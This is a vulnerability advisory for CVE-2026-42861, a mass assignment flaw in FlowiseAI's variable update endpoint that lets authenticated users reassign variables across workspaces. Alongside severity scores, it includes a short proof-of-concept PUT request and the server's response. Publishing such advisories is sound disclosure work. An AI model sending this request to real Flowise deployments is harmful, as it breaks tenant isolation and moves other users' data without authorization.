Advisory details:
github_osv / GHSA-6fw7-3q8r-m5vj
| Advisory ID | github_osv/GHSA-6fw7-3q8r-m5vj |
| Aliases |
CVE-2026-42861
|
| Summary | FlowiseAI has Mass Assignment in Variable Update Endpoint that Allows Cross-Workspace Resource Reassignment ### Summary A Mass Assignment vulnerability exists in the variable update endpoint of FlowiseAI. The endpoint allows authenticated users to modify server-controlled properties such as workspaceId, createdDate, and updatedDate when updating a variable resource. Due to missing server-side validation and authorization checks, an attacker can manipulate the workspaceId field and reassign variables to arbitrary workspaces. This behavior may break tenant isolation in multi-workspace environments. ### Details The endpoint responsible for updating variables: **PUT /api/v1/variables/{variableId}** accepts a JSON request body containing the variable definition. However, the backend does not restrict which attributes can be modified by the client. As a result, user-controlled request bodies can include internal properties that should normally be controlled exclusively by the server. Server-controlled fields that can be manipulated include: - workspaceId - createdDate - updatedDate These fields appear to be directly mapped to the database entity without strict input validation or authorization checks. For example, the following request body was accepted by the server: ```json { "name": "aaa", "value": "bbbe", "type": "static", "createdDate": "2016-03-06T17:59:30.000Z", "updatedDate": "2016-03-06T18:00:17.000Z", "workspaceId": "11111111-2222-3333-4444-555555555555" } ``` The server accepted the attacker-controlled workspaceId and metadata fields and persisted them. ### PoC **Request** ```http PUT /api/v1/variables/<VARIABLE_ID> Content-Type: application/json { "name": "aaa", "value": "bbbe", "type": "static", "createdDate": "2016-03-06T17:59:30.000Z", "updatedDate": "2016-03-06T18:00:17.000Z", "workspaceId": "11111111-2222-3333-4444-555555555555" } ``` **Response** ```json { "id": "0a2b9f61-4a97-4ff8-b80d-00275ed18674", "name": "aaa", "value": "bbbe", "type": "static", "createdDate": "2016-03-06T17:59:30.000Z", "updatedDate": "2026-03-06T18:05:17.000Z", "workspaceId": "11111111-2222-3333-4444-555555555555" } ``` This confirms that the backend accepts and persists attacker-controlled internal properties. ### Impact This vulnerability allows authenticated users to manipulate internal attributes of variable resources. Possible impacts include: 1. Cross-workspace reassignment of variables (workspaceId) 2. Unauthorized modification of metadata (createdDate, updatedDate) 3. Potential tenant isolation bypass in multi-workspace deployments In multi-tenant environments, this may allow an attacker to move variables between workspaces without authorization. |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 6.8 |
| Risk | 3.4 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| System | Score | Found at |
|---|---|---|
| cvssv4 | 7.6 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-6fw7-3q8r-m5vj/GHSA-6fw7-3q8r-m5vj.json |
| generic_textual | HIGH |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Attack Requirements (AT) | Privileges Required (PR) | User Interaction (UI) | Vulnerable System Impact Confidentiality (VC) | Vulnerable System Impact Integrity (VI) | Vulnerable System Impact Availability (VA) | Subsequent System Impact Confidentiality (SC) | Subsequent System Impact Integrity (SI) | Subsequent System Impact Availability (SA) |
|---|---|---|---|---|---|---|---|---|---|---|
network adjacent local physical |
low high |
none present |
none low high |
none passive active |
high low none |
high low none |
high low none |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-06-09T15:27:50Z/
Decision: Track
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/42xxx/CVE-2026-42861.json
Source Advisory: vulnrichment/CVE-2026-42861
[{'Exploitation': 'poc'},
{'Automatable': 'no'},
{'Technical Impact': 'partial'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]